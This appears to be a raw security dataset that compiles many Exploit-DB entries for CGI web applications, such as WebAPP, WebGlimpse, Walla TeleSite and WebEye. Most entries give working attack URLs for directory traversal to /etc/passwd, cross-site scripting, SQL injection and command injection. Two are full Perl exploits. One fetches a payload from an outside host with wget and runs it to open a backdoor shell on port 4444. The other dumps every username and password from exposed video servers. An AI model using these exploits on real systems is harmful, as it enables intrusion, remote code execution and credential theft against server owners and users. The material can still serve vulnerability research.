deardaniel/secdata-raw huggingface dataset:
Exploit-DB #33334
Description: VM Turbo Operations Manager 4.5x - Directory Traversal
Type: webapps
Platform: cgi
Date: 2014-05-12
Author: Jamal Pecou

Exploit:
Product: VM Turbo Operations Manager
Vendor: VM Turbo
Vulnerable Version(s): 4.5.x earlier
Tested Version: 4.0
Advisory Publication: April 11, 2014 
Vendor Notification: April 11, 2014 
Public Disclosure: May 8, 2014 
Vulnerability Type: Directory Traversal

Discovered and Provided: (Jamal Pecou) Security Focus ( https://www.securityfocus.com/ )

------------------------------------------------------------------------
-----------------------

Advisory Details:

A vulnerability affecting “/cgi-bin/help/doIt.cgi" in VM Turbo Operations Manager allows directory traversal when the URL encoded POST input “xml_path” was set to “../../../../../../../../../../etc/passwd” we could see the contents of this file. 


The following exploitation example displays the contents of /etc/passwd

http://[host]/cgi-bin/help/doIt.cgi?FUNC=load_xml_file&xml_path=../../../../../../../../../../etc/passwd

------------------------------------------------------------------------
-----------------------

Solution:

 The vendor has released a fix for this vulnerability in version 4.6.

References:

[1] https://support.vmturbo.com/hc/en-us/articles/203170127-VMTurbo-Operations-Manager-v4-6-Announcement
Exploit-DB #21411
Description: vqServer 1.9.x - CGI Demo Program Script Injection
Type: webapps
Platform: cgi
Date: 2002-04-21
Author: Matthew Murphy

Exploit:
source: https://www.securityfocus.com/bid/4573/info

vqServer is a HTTP server implemented in Java. vqServer is available on any architecture supporting Java, including Linux and Microsoft Windows.

Reportedly, numerous default CGI scripts included with vqServer suffer from script injection issues, including cross site scripting and the ability to inject script code into cookie content.

http://localhost/cgi/vq/demos/respond.pl<SCRIPT>alert("I%20should%20not%20be%20able%20to%20do%20this!!!")</SCRIPT>
Exploit-DB #30759
Description: VTLS Web Gateway 48.1 - 'Searchtype' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2007-11-13
Author: Jesus Olmos Gonzalez

Exploit:
source: https://www.securityfocus.com/bid/26419/info

Web Gateway is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects versions prior to Web Gateway 48.1.1. 

http://somevtlsweb.net/cgi-bin/vtls/vtls.web.gateway?authority=1&searchtype=subject%22%3E%3Ch1%3E%3Cmarquee%3EXSS%20bug%3C/marquee%3E%3C/h1%3E%3C!--&kind=ns&conf=080104+++++++
Exploit-DB #30975
Description: W3-mSQL - Error Page Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2008-01-03
Author: vivek_infosec

Exploit:
source: https://www.securityfocus.com/bid/27116/info

W3-mSQL is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/cgi-bin/w3-msql/<script>alert('xss')</script>
Exploit-DB #22015
Description: W3Mail 1.0.6 - File Disclosure
Type: webapps
Platform: cgi
Date: 2002-11-12
Author: Tim Brown

Exploit:
source: https://www.securityfocus.com/bid/6170/info

Versions of W3Mail 1.0.6 and greater are susceptible to a file disclosure vulnerability. To view attachments, the script "viewAttachment.cgi" accepts the parameter "file". The value of this parameter is passed to the open() function as the filename argument without being sanitized. Attackers may cause any file on the filesystem to open by specifying its relative path using directory traversal characters. 

viewAttachment.cgi?file=../../../../../etc/passwd
Exploit-DB #26509
Description: Walla TeleSite 3.0 - 'ts.cgi' File Existence Enumeration
Type: webapps
Platform: cgi
Date: 2005-11-15
Author: Rafi Nahum

Exploit:
source: https://www.securityfocus.com/bid/15419/info
   
Walla TeleSite is prone to multiple input validation vulnerabilities. These are due to a lack of proper sanitization of user-supplied input.
   
Walla TeleSite is prone to information and path disclosure, file enumeration, SQL injection, and cross-site scripting attacks within the context of the victim's Web browser and the affected computer.
   
Other attacks are also possible.
   
Walla Telesite version 3.0 is affected; earlier versions are also affected. 

http://www.example.com/ts.cgi?c:\boot.ini
http://www.example.com/ts.cgi?c:\boot1.ini
Exploit-DB #26507
Description: Walla TeleSite 3.0 - 'ts.exe?sug' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2005-11-15
Author: Rafi Nahum

Exploit:
source: https://www.securityfocus.com/bid/15419/info
 
Walla TeleSite is prone to multiple input validation vulnerabilities. These are due to a lack of proper sanitization of user-supplied input.
 
Walla TeleSite is prone to information and path disclosure, file enumeration, SQL injection, and cross-site scripting attacks within the context of the victim's Web browser and the affected computer.
 
Other attacks are also possible.
 
Walla Telesite version 3.0 is affected; earlier versions are also affected. 

http://www.example.com/ts.exe?tsurl=0.52.0.0&tsstmplt=search_tour&sug=%61%61%61'%20<script>alert()</script>
Exploit-DB #26508
Description: Walla TeleSite 3.0 - 'ts.exe?sug' SQL Injection
Type: webapps
Platform: cgi
Date: 2005-11-15
Author: Rafi Nahum

Exploit:
source: https://www.securityfocus.com/bid/15419/info
  
Walla TeleSite is prone to multiple input validation vulnerabilities. These are due to a lack of proper sanitization of user-supplied input.
  
Walla TeleSite is prone to information and path disclosure, file enumeration, SQL injection, and cross-site scripting attacks within the context of the victim's Web browser and the affected computer.
  
Other attacks are also possible.
  
Walla Telesite version 3.0 is affected; earlier versions are also affected. 

http://www.example.com/ts.exe?tsurl=0.52.0.0&tsstmplt=search_tour&sug=%61%61%61'%20and%20'1'='1

http://www.example.com/ts.exe?tsurl=0.52.0.0&tsstmplt=search_tour&sug=%61%61%61'%20and%20'1'='2

http://www.example.com/ts.exe?tsurl=0.52.0.0&tsstmplt=search_tour&sug=%EF'%20or%201=1%20union%20all%20select%20top%201%20null,null,null,null,null,
null,null,null,null,'nuli','zulu','papa','qqq','rar','ewe',table_name,'asd','ttt','werwr','ryy','poo','polo','nike'%20from%20information_schema.columns--
Exploit-DB #26506
Description: Walla TeleSite 3.0 - 'ts.exe?tsurl' Arbitrary Article Access
Type: webapps
Platform: cgi
Date: 2005-11-15
Author: Rafi Nahum

Exploit:
source: https://www.securityfocus.com/bid/15419/info

Walla TeleSite is prone to multiple input validation vulnerabilities. These are due to a lack of proper sanitization of user-supplied input.

Walla TeleSite is prone to information and path disclosure, file enumeration, SQL injection, and cross-site scripting attacks within the context of the victim's Web browser and the affected computer.

Other attacks are also possible.

Walla Telesite version 3.0 is affected; earlier versions are also affected. 

http://www.example.com/ts.exe?tsurl=0.1.0.0
Exploit-DB #33494
Description: Web Terra 1.1 - 'books.cgi' Remote Command Execution
Type: webapps
Platform: cgi
Date: 2014-05-24
Author: felipe andrian

Exploit:
[+] Remote Comand Execution on books.cgi Web Terra v. 1.1
[+] Date: 21/05/2014
[+] CWE number: CWE-78
[+] Risk: High
[+] Author: Felipe Andrian Peixoto
[+] Contact: felipe_andrian@hotmail.com
[+] Tested on: Windows 7 and Linux
[+] Vendor Homepage: http://www2.inforyoma.or.jp/~terra
[+] Vulnerable File: books.cgi
[+] Version : 1.1
[+] Exploit: http://host/patch/books.cgi?file=|<command>|


[+] Example Request:
GET /webnovel/books.cgi?file=|id| HTTP/1.1
Host: redsuns.x0.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive


HTTP/1.1 200 OK
Date: Wed, 21 May 2014 18:59:05 GMT
Server: Apache/1.3.42 (Unix)
Connection: close
Content-Type: text/html
Content-Length: 498

<!DOCTYPE HTML PUBLIC -//IETF//DTD HTML//EN>
<html><head>
<meta http-equiv=Content-Type content=text/html; charset=x-sjis>
<title></title></head>
<body bgcolor=#637057>
<p align=center><font size=3></font><br>
| <a href=booksregist.cgi?file=|id|&subject=>?·?M?·?é</a>
 || <a href=booksvew.cgi?file=|id|&subject=>???Ò?ê??</a>
 || <a href=booksedit.cgi?file=|id|&subject=>?ÏX?ù³</a>
 || <a href=books.htm>?¶?É?É?ß?é</a>
 |</p><hr>
uid=1085(spider) gid=1000(users) groups=1000(users)
</body></html>

[+] More About : http://cwe.mitre.org/data/definitions/78.html
Exploit-DB #27562
Description: Web-APP.net WebAPP 0.9.x - '/mods/calendar/index.cgi?vsSD' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2006-04-03
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17359/info
 
Web-App.Org and Web-App.Net are prone to multiple cross-site scripting vulnerabilities because the applications fail to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/cgi-bin/mods/calendar/index.cgi?vsSD=[code]
Exploit-DB #27561
Description: Web-APP.net WebAPP 0.9.x - 'index.cgi' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: cgi
Date: 2006-04-03
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17359/info

Web-App.Org and Web-App.Net are prone to multiple cross-site scripting vulnerabilities because the applications fail to properly sanitize user-supplied input. 

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/cgi-bin/index.cgi?action=[code]
http://www.example.com/cgi-bin/index.cgi?action=&id=[code]
http://www.example.com/cgi-bin/index.cgi?action=forum&board=chitchat&op=&num=[code]
http://www.example.com/cgi-bin/index.cgi?action=&board=[code]
http://www.example.com/cgi-bin/index.cgi?action=&cat=[code]
http://www.example.com/cgi-bin/index.cgi?action=otherarticles&writer=[code]
http://www.example.com/cgi-bin/index.cgi?action=&viewcat=[code]
http://www.example.com/cgi-bin/index.cgi?action=printtopic&id=1&curcatname=&img=[code]
http://www.example.com/cgi-bin/index.cgi?action=printtopic&id=1&curcatname=[code]
Exploit-DB #24408
Description: Web-APP.Org WebAPP 0.8/0.9.x - Directory Traversal
Type: webapps
Platform: cgi
Date: 2004-08-24
Author: Jerome Athias

Exploit:
source: https://www.securityfocus.com/bid/11028/info

WebAPP is reported prone to a directory-traversal vulnerability because the application fails to properly sanitize user-supplied input data.

An attacker can exploit this vulnerability to retrieve arbitrary, potentially sensitive files from the hosting computer with the privileges of the webserver. gthe attacker could trivially retrieve DES-encrypted password hashes for all users of the application. This may aid the attacker in further attacks. 

http://www.example.com/cgi-bin/index.cgi?action=topics&viewcat=../../db/members/admin.dat%00
Exploit-DB #1005
Description: WebAPP 0.9.9.2.1 - Remote Command Execution (1)
Type: webapps
Platform: cgi
Date: 2005-05-20
Author: Alpha_Programmer

Exploit:
!/usr/bin/perl
#################################################################
#                         T r a p - S e t   U n d e r G r o u n D   H a c k i n g   T e a m                               #
#################################################################
# Remote C0mmand Executing Expl0it - For WebAPP CGI
#
#Exploit By :  A l p h a _ P r o g r a m m e r ( Sirus-v );
#E-Mail : Alpha_Programmer@Yahoo.com
#            Trapset_Sec@Yahoo.Ca
#This xpl Open a Backdoor in 4444 Port with Nobody Access !!! All Of The *NIX OS that Have UnPatch
#apage.cgi is Vulnerable in this M0ment !!
#
#################################################################
#  Gr33tz To ==>  AlphaST.Com , Crouz.Com  , Simorgh-ev.Com  And  MH_P0rtal , Oil_Krachack     #
#################################################################
use IO::Socket;

if (@ARGV < 2)
{
 print "\n==============================================\n";
 print " \n    WebAPP CGI Exploit By Alpha_Programmer \n\n";
 print "      Trap-Set Underground Hacking Team      \n\n";
 print "            Usage: <T4rg3t> <Dir>      \n\n";
 print "==============================================\n\n";
 print "Examples:\n\n";
 print "    WebApp.pl www.Host.com /cgi-bin/ \n";
 exit();
}


$serv = $ARGV[0];
$serv =~ s/http:\/\///ge;

$dir = $ARGV[1];

$cmde = "cd /tmp;wget http://www.khatotarh.com/NeT/alpha.txt";

$cmde =~ s/ /"\$IFS"/ge;

$req  = "GET http://$serv";
$req .= "$dir";
$req .= "apage.cgi?f=file.htm.|echo\$IFS\"_N_\";$cmde;echo\$IFS\"_T_\"| HTTP/1.0\n\n";

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>80) or die " (-) - C4n't C0nn3ct To The S3rver\n";

print $sock $req;
print "\nPlease Wait ...\n\n";
sleep(3000);
close($sock);

$sock2 = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>80) or die " (-) - C4n't C0nn3ct To The S3rver\n";


$cmde2 = "cd /tmp;cp alpha.txt alpha.pl;chmod 777 sirus.pl;perl sirus.pl";

$cmde2 =~ s/ /"\$IFS"/ge;

$req2  = "GET http://$serv";
$req2 .= "$dir";
$req2 .= "apage.cgi?f=file.htm.|echo\$IFS\"_N_\";$cmde2;echo\$IFS\"_T_\"| HTTP/1.0\n\n";

print $sock2 $req2;
print "\n\n$$$   OK -- Now Try: Nc -v www.host.com 4444   $$$\n";
print "$$  if This Port was Close , This mean is That , You Hav'nt Permission to Write in /TMP  $$\n";

### EOF ###


# milw0rm.com [2005-05-20]
Exploit-DB #30598
Description: WebBatch - 'webbatch.exe' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2007-09-20
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/25744/info

WebBatch is prone to a cross-site scripting vulnerability and an information-disclosure vulnerability because it fails to adequately sanitize user-supplied input.

An attacker may leverage the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

The attacker may leverage the information-disclosure issue to obtain potentially sensitive information that could aid in further attacks.

Reports indicate that WebBatch 2007D is not affected by the cross-site scripting issue. 

http://www.example.com/webcgi/webbatch.exe?XSS
http://www.example.com/webcgi/webbatch.exe?PATH/XSS
Exploit-DB #30599
Description: WebBatch - 'webbatch.exe?dumpinputdata' Remote Information Disclosure
Type: webapps
Platform: cgi
Date: 2007-09-20
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/25744/info
 
WebBatch is prone to a cross-site scripting vulnerability and an information-disclosure vulnerability because it fails to adequately sanitize user-supplied input.
 
An attacker may leverage the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
The attacker may leverage the information-disclosure issue to obtain potentially sensitive information that could aid in further attacks.
 
Reports indicate that WebBatch 2007D is not affected by the cross-site scripting issue. 

http://www.example.com/webcgi/webbatch.exe?dumpinputdata
Exploit-DB #26865
Description: WebCal 3.0 4 - 'webcal.cgi' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: cgi
Date: 2005-12-16
Author: Stan Bubrouski

Exploit:
source: https://www.securityfocus.com/bid/15917/info

WebCal is prone to multiple HTML injection and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit the HTML injection issue to control how the site is rendered to the user; other attacks are also possible.

These issues affect version 3.04; earlier versions may also be vulnerable. 

http://www.example.com/perl/webcal.cgi?function=<script>alert(document.cookie)</script>&cal=public
http://www.example.com/perl/webcal.cgi?function=webyear&cal=public&year=<script>alert(document.cookie)</script>
http://www.example.com/perl/webcal.cgi?function=webday&cal=public&date=<script>alert(document.cookie)</script>
Exploit-DB #25592
Description: WebCrossing WebX 5.0 - Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2005-05-03
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/13482/info

WebCrossing is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/webx?@[code]
Exploit-DB #30440
Description: WebEvent 4.03 - 'Webevent.cgi' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2007-07-31
Author: d3hydr8

Exploit:
source: https://www.securityfocus.com/bid/25148/info

WebEvent is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/cgi-bin/webevent/webevent.cgi?cmd=%22%3CSCRIPT+SRC=http://www.example2.com/xss.js%3E%3C/SCRIPT%3E
Exploit-DB #23418
Description: Webgate WebEye - Information Disclosure
Type: webapps
Platform: cgi
Date: 2003-12-08
Author: datapath

Exploit:
source: https://www.securityfocus.com/bid/9169/info

It has been reported that WebEye is prone to an information disclosure vulnerability that may allow an attacker to harvest sensitive information from the server such as usernames and passwords. The problem exists in the '/admin/wg_user-info.ml' script that fails to verify user credentials before returning sensitive information. 

#!/usr/bin/perl

########################################################################
# Author: datapath
# E-mail: datapath@softhome.net
# Date: Dec 2003
# 44c545672ac14e9e0f968b3affcd0740

# WHAT IS THIS?
#  This is an exploit to retrieve all username and passwords from a
#  webeye video server.

# REQUIREMENTS
#  It requires some perl libraries. If you dont have them already
#  installed, search cpan.org.

# HOW DOES IT WORKS?
#  Well, its very simple, because the server provides a mechanism (not
#  documented) to retrieve all passwords! You can read the code below,
#  its short and simple.

#  If you think its fun, but dont know any webeye video server, just make 
a
#  search in Google. You will find a lot of them! Have fun!
###########################################################################

use LWP::UserAgent;
use HTTP::Cookies;

$host=shift;

if ($host eq "") {
  print "Usage: webeye-xp.pl <host name>\n";
  exit;
}

my $browser = LWP::UserAgent->new();

my $resp = 
$browser->get("http://$host/admin/wg_user-info.ml","Cookie","USER_ID=0; 
path=/;");

$t = $resp->content;

#print $t;

$i = index($t,"<tr");
substr($t,0,$i+1,"");

while ($i!=-1) {
  $i = index($t,"<tr");
  substr($t,0,$i+1,"");
  $i = index($t,"value=");
  substr($t,0,$i+7,"");
  $j = index($t,"\"");
  $user = substr($t,0,$j);
  if ($user =~ /Apply/) { print "\nHave fun!\n"; exit; }
  print "user: ".$user;
  $i = index($t,"value=");
  substr($t,0,$i+7,"");
  $j = index($t,"\"");
  print "\tpass: ".substr($t,0,$j)."\n";
}
Exploit-DB #36974
Description: WebGlimpse 2.14.1/2.18.8 - 'webglimpse.cgi' Remote Command Injection
Type: webapps
Platform: cgi
Date: 2012-03-20
Author: Kevin Perry

Exploit:
source: https://www.securityfocus.com/bid/52627/info

WebGlimpse is prone to a remote command-injection vulnerability.

Attackers can exploit this issue to execute arbitrary commands in the context of the application.

WebGlimpse versions prior to 20.20.0 are affected. 

query=%27%26command+and+arguments+go+here%26%27
Exploit-DB #36994
Description: WebGlimpse 2.18.7 - 'DOC' Directory Traversal
Type: webapps
Platform: cgi
Date: 2009-04-17
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/52651/info

WebGlimpse is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.

Remote attackers can use specially crafted requests with directory-traversal sequences ('../') to retrieve arbitrary files in the context of the application.

Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks.

WebGlimpse 2.18.7 is vulnerable; other versions may also be affected. 

http://www.example.com/wgarcmin.cgi?NEXTPAGE=D&ID=1&DOC=../../../../etc/passwd
Exploit-DB #36976
Description: WebGlimpse 2.x - 'wgarcmin.cgi' Full Path Disclosure
Type: webapps
Platform: cgi
Date: 2012-03-18
Author: Websecurity

Exploit:
source: https://www.securityfocus.com/bid/52646/info

WebGlimpse is prone to a path-disclosure vulnerability.

Exploiting this issue can allow an attacker to access sensitive data that may be used to launch further attacks against a vulnerable computer.

WebGlimpse 2.18.7 is vulnerable; other versions may also be affected. 

http://www.example.com/wgarcmin.cgi?NEXTPAGE=D&ID=1&DOC=1
Exploit-DB #26864
Description: WebGlimpse 2.x - Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2005-12-16
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15916/info

WebGlimpse is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

This issue affects version 2.14.1; other versions may also be vulnerable. 

http://www.example.com/webglimpse.cgi?query=&ID=1[XSS]
Exploit-DB #26344
Description: WebGUI 6.x - Arbitrary Command Execution
Type: webapps
Platform: cgi
Date: 2005-10-12
Author: David Maciejak

Exploit:
source: https://www.securityfocus.com/bid/15083/info

WebGUI is prone to an arbitrary command execution vulnerability. This is due to insufficient sanitization of user-supplied data.

This issue can facilitate unauthorized remote access. 

http://www.example.com/WebGUI/index.pl/homels?func=add;class=WebGUI::Asset::Wobject::Article%3bprint%20%60id%60;